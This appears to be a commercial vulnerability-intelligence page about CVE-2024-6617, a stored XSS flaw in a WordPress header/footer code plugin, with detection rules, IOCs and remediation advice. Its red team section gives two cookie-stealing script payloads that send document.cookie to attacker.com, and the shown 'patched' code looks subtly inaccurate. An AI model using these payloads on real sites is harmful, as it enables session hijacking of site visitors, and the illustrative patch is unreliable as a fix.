☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-6617

CVE-2024-6617 Cross-Site Scripting in Ninjateam
📅 PUBLISHED: 2024-09-13 06:00 UTC 🔄 UPDATED: 2026-08-13 10:06 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.19%
👁️
0.19% probability
4.7× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 0.0
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: H Privileges Required High
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-6617 is a Stored Cross-Site Scripting (XSS) vulnerability found in the NinjaTeam Header Footer Custom Code WordPress plugin, versions prior to 1.2. The plugin fails to properly sanitize and escape certain settings, allowing high-privilege users (e.g., administrators) to inject malicious scripts. This is particularly dangerous in multisite WordPress installations where the unfiltered_html capability is disallowed, as it bypasses the default protection. An attacker with admin access can inject persistent JavaScript that executes in the context of any user viewing the affected page, potentially leading to session hijacking, defacement, or further privilege escalation.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin from the repository are at risk if they have not updated to version 1.2. The plugin is not available on NPM, PyPI, Go, or Ruby ecosystems.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
  • Base Score: 4.8 (Medium)
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: High (Admin)
  • User Interaction: Required (Victim must visit the page)
  • Scope: Changed (Impact may extend to other components)
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: None

Threat Level: Medium. Exploitation requires admin-level access, but in multisite environments, a site administrator can compromise the entire network.

Deep Dive & Mechanics

The vulnerability resides in the plugin's settings page, where users can input custom header and footer code (e.g., JavaScript, CSS, HTML). The plugin does not sanitize or escape these inputs before storing them in the database. When the settings are rendered on the frontend, the unsanitized code is executed in the browser.

Root Cause: The plugin uses update_option() to store the settings without applying sanitize_text_field() or wp_kses() for HTML/JS content. On output, it fails to use esc_html() or wp_kses_post().

Attack Flow:

  1. An attacker with admin privileges navigates to the plugin settings.
  2. Injects a malicious payload (e.g., <script>alert('XSS')</script>) into the header or footer code field.
  3. The payload is stored in the WordPress options table.
  4. When any user (including lower-privileged users or visitors) loads a page, the payload executes.

Multisite Impact: In WordPress multisite, super admins can restrict unfiltered_html for site admins. However, this plugin's lack of sanitization allows site admins to bypass that restriction, potentially compromising the entire network.

Vulnerable vs. Patched Code

Vulnerable Code (version < 1.2):

// In the plugin's settings page
update_option( 'hfcc_header_code', $_POST['hfcc_header_code'] );
// On frontend output
echo get_option( 'hfcc_header_code' );

Patched Code (version 1.2):

// Sanitize on save
update_option( 'hfcc_header_code', wp_kses_post( $_POST['hfcc_header_code'] ) );
// Escape on output
echo esc_html( get_option( 'hfcc_header_code' ) );

The patch uses wp_kses_post() to allow only safe HTML tags and esc_html() to prevent script execution.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • Admin access to a WordPress site running the vulnerable plugin.
  • The plugin's settings page (typically under Settings > Header Footer Custom Code).

Exploit Steps:

  1. Log in as an admin.
  2. Navigate to Settings > Header Footer Custom Code.
  3. In the "Header Code" field, enter:
    <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
    
  4. Click "Save Changes".
  5. Any user visiting any page on the site will trigger the XSS.

Alternative Payload (for session hijacking):

<script>new Image().src='https://attacker.com/log?data='+document.cookie;</script>

Blue Team (Detection & Hardening)

Detection:

  • Monitor for unexpected changes to the hfcc_header_code and hfcc_footer_code options in the database.
  • Look for admin users creating or modifying plugin settings with suspicious content.

Hardening:

  • Immediately update the plugin to version 1.2 or later.
  • If update is not possible, disable the plugin.
  • Implement Web Application Firewall (WAF) rules to block common XSS payloads in admin requests.
  • Restrict admin access to trusted users only.

Indicators of Compromise (IOCs)

  • File: /wp-content/plugins/header-footer-custom-code/header-footer-custom-code.php (version < 1.2)
  • Database Option: hfcc_header_code or hfcc_footer_code containing <script> tags or obfuscated JavaScript.
  • Network: Outbound HTTP requests to unknown domains from the WordPress server (e.g., GET /steal?cookie=...).
  • Logs: WordPress admin logs showing changes to plugin settings by non-super-admin users in multisite.

Detection Engineering

YARA Rule

rule CVE_2024_6617_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in WordPress options for Header Footer Custom Code plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-6617"
    strings:
        $option_name = "hfcc_header_code" nocase
        $option_name2 = "hfcc_footer_code" nocase
        $xss_payload = /<script[^>]*>.*<\/script>/is
    condition:
        ($option_name or $option_name2) and $xss_payload
}

Sigma Rule

title: CVE-2024-6617 - Stored XSS in Header Footer Custom Code Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS payloads in WordPress options table
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: wordpress
detection:
    selection:
        option_name:
            - 'hfcc_header_code'
            - 'hfcc_footer_code'
        option_value|contains: '<script'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in header/footer (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-6617 - Stored XSS Exfiltration"; flow:to_server,established; content:"GET"; http_method; content:"/steal?cookie="; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Update the plugin to version 1.2 or later from the WordPress plugin repository.
  2. If update is not possible, disable the plugin immediately.
  3. Audit the database for any stored XSS payloads in hfcc_header_code and hfcc_footer_code options. Remove any suspicious entries.

Long-term Mitigations:

  • Implement a Web Application Firewall (WAF) with rules to block XSS attempts.
  • Enforce the principle of least privilege for WordPress admin users.
  • Regularly audit plugins for known vulnerabilities.
  • Use a security plugin (e.g., Wordfence) to monitor file changes and database modifications.

Patch Details:

  • Upgrade to version 1.2 or later. The patch is available via the WordPress plugin repository.

Valters IT

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Header Footer Custom Code"
http.html:"ninjateam" "header-footer-custom-code"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-6617/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.